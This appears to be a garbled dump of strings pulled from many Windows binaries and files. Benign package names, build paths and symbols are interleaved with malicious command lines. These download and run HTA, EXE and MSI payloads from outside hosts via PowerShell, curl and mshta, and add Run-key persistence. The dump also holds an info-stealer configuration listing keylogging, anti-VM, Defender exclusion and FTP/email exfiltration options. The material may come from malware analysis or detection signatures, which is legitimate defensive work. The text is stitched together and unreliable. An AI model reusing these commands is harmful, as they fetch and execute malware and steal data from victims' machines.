Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Composition-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Wifi-Client-Realtek-Rtl8192se-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
c:\windows\system32
c:\windows\system32
(c:\windows\system32\cmd.exe/e/rs^tartmsi^e^xec/^quie^trz^s^h=^g^q^mh^am/^p^ack^ag^ev
drive%\windows\
:\windows\temp\
[=windows%
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
@K&d7f3c4.jarc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\d7f3c4.jar[c:\users\micros~1\appdata\local\temp\{2d8cacec-07a2-4e7a-8543-8e19409940fa}\d7f3c4(2).jar1pk+uo%
guid.binpstcmd_scjudystevenson.info/vcapicv/vchivmqecvwinmgmts:\\localhost\root\securitycenter2microsoft\windows\start menu\programs\startup\secprocessingwindowssystem.lnk
windowssearch*
%localappdata%\microsoft\windows\(
A{v*.up_meta.|%WINDIR%\System32\BackgroundTransferHos\
qWindows1
%SYSTEMDRIVE%\$Windows.~BT\NewOS\
System32\svch_
COM.MICROSOFT.WINDOWS.WIDGETS.FEEDS
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Shapes.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.UI.Themes.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Management.Policies.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.UI.Shell.h
i/Cic:\windows
msEdgeWindowsWelcomeUpdateExperience
msEdgeWindowsUpdateExperienceTargeted
on_logon_windows
windowsZones
/s\system32\cmd.exeinstall/esh/cs^t^a^rt^m^si^e^xec/^pa^c^ka^ge
c:\windows\system32\cmd
\windows\current
WINDOWS11
WINDOWS11
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
CredUIPromptForWindowsCredentialsW
QWindowsCaRootFetcher
NtUserUnhookWindowsHook
NtUserUnlockWindowStation
NtUserUpdateWindows
Microsoft.Windows.DataExchange
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.DataExchange
Microsoft.Windows.DragDropContainerTelemetry
WindowsCodecs.dll
CiWindowsLockdownModeChange
CiWindowsLockdownMode
WindowsLockdownPolicySettings
RevocationListLastWindowsUpdateVersion
RevocationListLastWindowsUpdateVersion
RevocationListLastWindowsUpdateVersion
MicrosoftWindowsCodeIntegrityTraceLoggingProvider
Microsoft.Windows.Security.CodeIntegrity.Activity
Microsoft.Windows.Security.CodeIntegrity.Driver
Microsoft.Windows.Security.CodeIntegrity.NWActivity
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
Microsoft.Windows.Security.CodeIntegrity.NWActivity
Microsoft.Windows.Security.CodeIntegrity.Activity
Microsoft.Windows.Security.CodeIntegrity.NWActivityNoReEval
Microsoft.Windows.Security.CodeIntegrity.State
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
Microsoft.Windows.TlgAggregateInternal
windir=C:\WINDOWS
USERNAME=WINDOWS11$
WindowSize
Shell ("C:\\Windows\\S
.exeWindows.FullTrustApplication
WindowsApp
MicrosoftWindows.UndockedDevKit_10.0.26100.1_=
Model@WindowsUdk
0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
P~Microsoft.WindowsStore_8wekyb3d8bbwe!AppMicrosoft.WindowsStore_8wekyb3d8bbwe!App
P~Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!AppMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
P~Microsoft.WindowsAlarms_8wekyb3d8bbwe!AppMicrosoft.WindowsAlarms_8wekyb3d8bbwe!App
P~Microsoft.Windows.Photos_8wekyb3d8bbwe!AppMicrosoft.Windows.Photos_8wekyb3d8bbwe!App
"Windows"
&os=MicrosoftWindowsXP&temp=
c:\windows\winaccestor.dat/?ok=1&app_id=clsid\{a8981db9-b2b3-47d7-a890-9c9d9f4c5552}/?mode=updateaccept-language:ruad-config
}2QSOFTWARE\Microsoft\Windows\CurrentVersion\Run
C:\Windows\svchos.exe
Software\Microsoft\Windows\megacity\Uninstall\tredveaarsfdseldageS
ndows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
ndows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
WindowsShutdown`
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Platform.Partitioning.ActivePartitions
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.CuratedTileCollection.TileCollectionContainer
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.CuratedTileCollection.RootCollection
Windows.Data.CuratedTileCollection.TileCollection
\microsoft\windows\currentversion\run\
\microsoft\windows\currentversion\policies\explorer\run\
Microsoft Windows3
Microsoft Windows
Microsoft Windowss
FtpEnableFtpHostFtpUserFtpPassFtpPortEmailEnableEmailAddressEmailSendToEmailPassEmailPortEmailSslEmailClientPanelEnablePanelHostExitAfterDeliverySelfDestructEnableMutexEnableAntiSandboxieEnableAntiVMwareEnableAntiDebuggerEnableWDExclusionEnableSearchAndUploadEnableSpreadUsbEnableKeyloggerEnableBrowserRecoveryEnableScreenshotEnableForceUacEnableBotKillerEnableDeleteZoneIdentifierEnableMemoryScanEnableAntiHoneypotEnableOnlySendWhenPasswordExectionDelaySendingIntervalDownloaderUrlDownloaderFilenameDownloaderOnceEnableBinderBinderBytesBinderNameBinderOnceEnableInstallInstallFolderInstallSecondFolderInstallFileSearchAndUploadExtensionsSearchAndUploadSizeLimitSearchAndUploadZipSizeEnableWindowSearcherWindowSearcherKeywordsMainDirectorySafeThreadTrojanDownloader:O97M/EncDoc.LJ!MTB
Windows Defender Exploit Guard detected launching of executable content from the email attachment
xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"
c:\programdata\microsoft\windows defender
c:\programdata\microsoft\windows defender advanced threat protection
c:\program files\windows defender advanced threat protection
c:\program files (x86)\windows defender advanced threat protection
c:\program files\windows defender
c:\program files (x86)\windows defender
c:\windows\*
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-wh-cwget-o$env:temp\1.htahttps://mogilux.com.br/wp-admin/tmp/huspecific.hta;mshta$env:temp\1.hta
#Ic:\windows\system32\conhost.exe--headlesspowershell-eaqbyag0aiaagacaaiaagaggadab0ahaacwa6ac8alwboagmaaqbkag8aywauagkabgavagwaeqagacaaiab8acaaiaagacaaaqblahga
8c:\windows\system32\cmd.exe/c"curl-s-l-o%temp%\loader.exehttps://gl1g7tts-5500.euw.devtunnels.ms/
.cmdc:\windows\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll
.7[cmd.exej-i9vc:\windows\syswow64\cmd.exe/q/c
.cmdc:\windows\system32\write.exe%systemroot%\system32\write.exe%systemroot%
c:\windows\system32\cmd.exe/cpowershell-command"$h='https://gitlab.com/stare2/garmin/-/raw/main/
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat|Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7623.cat|
Microsoft-Windows-Embedded-UnifiedWriteFilterCSP-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-SmbDirect-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-TerminalServices-CommandLineTools-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
c:\programfiles\windowspowershell\modules\pester\3.4.0\bin\pester.bat;%comspec%/cmd%userprofile%\onenotecaches&copy/y%windir%\system32\curl.exe%userprofile%\onenotecaches\onenotecaches.exe&&%userprofile%\onenotecaches\onenotecaches.exe42.194.172.65:8000/next.js
Dc:\windows\system32\cmd.exe/
8c:\windows\system32\cmd.exe/kstartmsedgehttps://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf&curl-slo%temp%\75401223-9e90-4ab6-a7ed-9c07699b5285.msihttp://data3.info/farm/settup.msi&%temp%\75401223-9e90-4ab6-a7ed-9c07699b5285.msi/qn|taskkill/f/imcmd.exe
\windows
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 10 
ocmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exec:\windows\system32\cmd.exec:\windows\system32\shell32.dllc:\windows\system32\shell32.dll
 ='c:\windows\microsoft.net\framework\v4.0.30319\regsvc
@.zip","false");iwshshell3.regwrite("hkcu\software\microsoft\windows\currentversion\run\","
c:\windows\system32\cmd.exe/kstC
winlogonJ
\system32\mdlplite.exe
System.Windows.Forms
System.Windows.Forms.Design
GetSystemWindowsDirectoryW
\windows\(
Z]]("c:\\windows\\temp\\71.exe]
=%systemroot%\syswow64\windowspowershell\v1.0\
Microsoft.Windows.Wil.FeatureLogging
SetWindowsHookExW
UnhookWindowsHookEx
GetProcessWindowStation
onecore\windows\core\console\open\src\terminal\adapter\interactdispatch.cpp
onecore\windows\core\console\open\src\host\output.cpp
onecore\windows\core\console\open\src\host\outputstream.cpp
onecore\windows\core\console\open\src\host\stream.cpp
onecore\windows\core\console\open\src\host\dbcs.cpp
onecore\windows\core\console\open\src\host\convarea.cpp
onecore\windows\core\console\open\src\host\utils.cpp
onecore\windows\core\console\open\src\host\ntprivapi.cpp
onecore\windows\core\console\open\src\host\readdata.cpp
onecore\windows\core\console\open\src\host\readdatacooked.cpp
onecore\windows\core\console\open\src\host\readdatadirect.cpp
onecore\windows\core\console\open\src\host\readdataraw.cpp
onecore\windows\core\console\open\src\host\writedata.cpp
onecore\windows\core\console\open\src\host\renderdata.cpp
onecore\windows\core\console\open\src\host\conareainfo.cpp
onecore\windows\core\console\open\src\host\conimeinfo.cpp
onecore\windows\core\console\open\src\buffer\out\cursor.cpp
onecore\windows\core\console\open\src\buffer\out\OutputCell.hpp
onecore\windows\core\console\open\src\buffer\out\outputcell.cpp
onecore\windows\core\console\open\src\host\selectioninput.cpp
onecore\windows\core\console\open\src\host\scrolling.cpp
onecore\windows\core\console\open\src\host\cursorblinker.cpp
onecore\windows\core\console\open\src\host\alias.cpp
onecore\windows\core\console\open\src\host\vtinputthread.cpp
onecore\windows\core\console\open\src\host\ptysignalinputthread.cpp
onecore\windows\core\console\open\src\host\input.cpp
onecore\windows\core\console\open\src\host\inputbuffer.cpp
onecore\windows\core\console\ope
Windows1
!Windows OEM Root 2017 (TEST ONLY)
BC:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Resource.h
Windows::StringUtil::Rtl::SubStringByByteCount
Windows::StringUtil::Rtl::Impl::CalculateEncodingLengthForString
Windows::StringUtil::Rtl::Impl::AppendTranscodedStringToPreallocatedBuffer
Windows::Rtl::CRtlRefCountedObjectBase<class CmRegistryProvider,class Windows::Rtl::SystemImplementation::IRtlRegistryProvider,class Windows::Rtl::SystemImplementation::IRtlObjectProvider,struct Windows::Rtl::IRtlObject,struct Windows::Rtl::Detail::CRtlRefCountedObjectBaseNoInterface,struct Windows::Rtl::Detail::CRtlRefCountedObjectBaseNoInterface,struct Windows::Rtl::Detail::CRtlRefCountedObjectBaseNoInterface>::CreateInterface
Windows::StringUtil::Rtl::SplitNtPath
Microsoft.Windows.FileSystem.CimFS
* newer version of the Windows Driver Kit (WDK). 
WindowsBackupWizard
WindowsWelcomeExperience
onecoreuap\windows\dwm\dwmcore\engine\resource.cpp
onecoreuap\windows\dwm\dwmcore\effects\externaleffectgraph.cpp
onecoreuap\windows\dwm\dwmcore\effects\gaussianblur.cpp
onecoreuap\windows\dwm\dwmcore\common\datastreamwriter.cpp
onecoreuap\windows\dwm\dwmcore\engine\channelcontext.cpp
onecoreuap\windows\dwm\dwmcore\hw\displaymanager.cpp
onecoreuap\windows\dwm\dwmcore\hw\global\globaldisplaymanager.cpp
onecoreuap\windows\dwm\dwmcore\rendering\megarect.cpp
onecoreuap\windows\dwm\dwmcore\rendering\cpuclipantialiasbatchcommand.cpp
onecoreuap\windows\dwm\dwmcore\rendering\reconstructabledrawlistentry.cpp
onecoreuap\windows\dwm\dwmcore\rendering\cpuclipantialiasdrawlistentry.cpp
onecoreuap\windows\dwm\dwmcore\rendering\global\computescribbleframebuffer.cpp
onecoreuap\windows\dwm\dwmcore\resources\projectedshadowscene.cpp
onecoreuap\windows\dwm\dwmcore\resources\subvisualtree.cpp
5?onecoreuap\windows\dwm\dwmcore\rendering\cpuclipantialiassink.cpp
onecoreuap\windows\DWM\dwmcore\engine\TreeIterator.h
onecoreuap\windows\dwm\dwmcore\common\threadcontext.cpp
onecoreuap\windows\dwm\dwmcore\resources\visual.cpp
onecoreuap\windows\dwm\common\shared\refcountbase.cpp
onecoreuap\windows\dwm\dwmcore\rendering\renderingtechnique.cpp
onecoreuap\windows\dwm\dwmcore\resources\scrollkeyframeanimation.cpp
onecoreuap\windows\dwm\dwmcore\resources\scrollpositionkeyframeanimation.cpp
onecoreuap\windows\dwm\dwmcore\resources\conditionalexpression.cpp
onecoreuap\windows\dwm\dwmcore\resources\interactiontrackerbindingmanager.cpp
onecoreuap\windows\dwm\dwmcore\animations\interactionsourcemanager.cpp
onecoreuap\windows\dwm\dwmcore\engine\connection.cpp
onecoreuap\windows\dwm\dwmcore\engine\dataprovidermanager.cpp
onecoreuap\windows\dwm\dwmcore\hw\d2dcontext.cpp
onecoreuap\windows\dwm\dwmcore\engine\subdrawingcontext.cpp
;onecoreuap\windows\DWM\dwmcore\engine\TargetDirty.h
onecoreuap\windows\dwm\dwmcore\engine\global\globalmessageconversationhost.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\globaldataprovidermanager.cpp
onecoreuap\windows\dwm\dwmcore\rendering\brushrenderingeffect.cpp
onecoreuap\windows\dwm\dwmcore\rendering\renderingbatchcommand.cpp
 Windows
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
=c:\windows\system32\mshta.exehttp://prefer.jokotras.ru/hear/nephew/su/f
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.Windows.Web.HttpClient
Microsoft.Windows.Desktop.Shell.Shell32
U*Microsoft Windows NT
Windows 2000
Windows 2001
Windows 2001 SP1
Windows 2001.1
Windows 2001 SP2
Windows 2001.1 SP1
Windows 2006
Windows 2006 SP1
Windows 2006.1
Windows 2009
Windows 2012
Windows 2013
Windows 2015
Windows 2016
Windows 2017
Windows 2017.2
Windows 2018
Windows 2018.2
Windows 2019
Windows 2020
Windows 2021
Windows 2022
Windows 2025H2
Microsoft.Windows.Kernel.Acpi
Microsoft.Windows.Kernel.Acpi.IrqArb
WindowsTrustedRT.pdb
WindowsTrustedRTProxy.pdb
SystemRoot=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
OS=Windows_NT
USERDOMAIN=Windows11
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
l@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IUIElementOverrides9T@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UMediaPlayerElement@Controls@Xaml@UI@Windows@4@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$base_one@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UMediaPlayerElement@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIMediaPlayerElement@Controls@Xaml@UI@Windows@4@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIControlProtected@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFramewo
get_IsWindows8OrAbove
System.Runtime.InteropServices.WindowsRuntime.IBindableVector.Size
System.Runtime.InteropServices.WindowsRuntime.IBindableVectorView.Size
GetLargestConsoleWindowSize
WindowsDeleteString
SLGetWindowsInformationDWORD
Windows.Data.Calling.SettingsLocalCache
Windows.Data.Platform.Asset.PerDeviceAssetBlob
Windows.Data.Calling.KeyPathSettings
Windows.Data.Input.Devices.MouseSyncedSettings
Windows.Data.Input.Devices.PenSyncedSettings
Windows.Data.Calling.CallHistoryLocalCache
Windows.Data.Calling.CallHistoryItem
System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msili
4windowsdefenderR
[setinterval(function(){alert("windows
Windows.UI.Xaml.Controls
Windows.UI.Xaml.Controls.Primitives
Microsoft Windows
\windows s
Microsoft-Windows-Runtime-Metadata-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Internal@Windows@@8
!#ATTRIBUTE:SIGA:MSIL:WindowsApplication1.Run
Windows NT
Windows File Protection
WindowsRuntime 1.4
HKEY_CURRENT_USER/Software/Microsoft/Windows NT/CurrentVersion/Windows/EnhancedPenSupport
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Accent
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Themes/Personalize
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/WindowProperties
windows.tbauth
windows.yourphone.api
SetWindowsHookExW
UnhookWindowsHookEx
Microsoft-Windows-Foundation-Win1-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WindowsUpdateCallback
Microsoft.Windows.SetupApi
Microsoft.Windows.DriverStore
Windows@ABI@@@Collections@Foundation@Windows@ABI@@@234@@@YAJPEAU?$IAsyncOperation@PEAU?$IVectorView@PEAVAppListEntry@Core@ApplicationModel@Windows@ABI@@@Collections@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVAppListEntry@Core@ApplicationModel@Windows@ABI@@@Collections@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$00U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVAppListEntry@Core@ApplicationModel@Windows@ABI@@@Collections@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVAppListEntry@Core@ApplicationModel@Windows@ABI@@@Collections@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
Microsoft.Windows.WinRTClassActivation
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.OLE.Clipboard
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.OLE.DragDrop
Microsoft.Windows.DataExchange.DragDrop
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.Security.Capabilities
Microsoft.Windows.Heap
Microsoft.Windows.UnexpectedCodePath
Microsoft.Windows.Kernel.LibLoader
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft.WindowsLive.Devices
Windows.Management.Workplace.dll&
H_Counters_EventTracingforWindows
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Uout_of_order@CXmlWriter@WindowsPerformanceRec&
0^com.microsoft.windows.e
82^com.microsoft.windows.e
com.microsoft.windows.extensions.xaml.actionui.common
VS2013WindowSplitterControlFactory
IWindowSplitterControlFactory
set_WindowSplitterControlFactory
OMPUTERNAME=WINDOWS113
\system32\cmd.exe=
.?AU?$produce_base@UDeviceManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UDeviceManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@UDeviceManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@winrt@@
.?AU?$root_implements@UDeviceManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer_convert@UDeviceManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
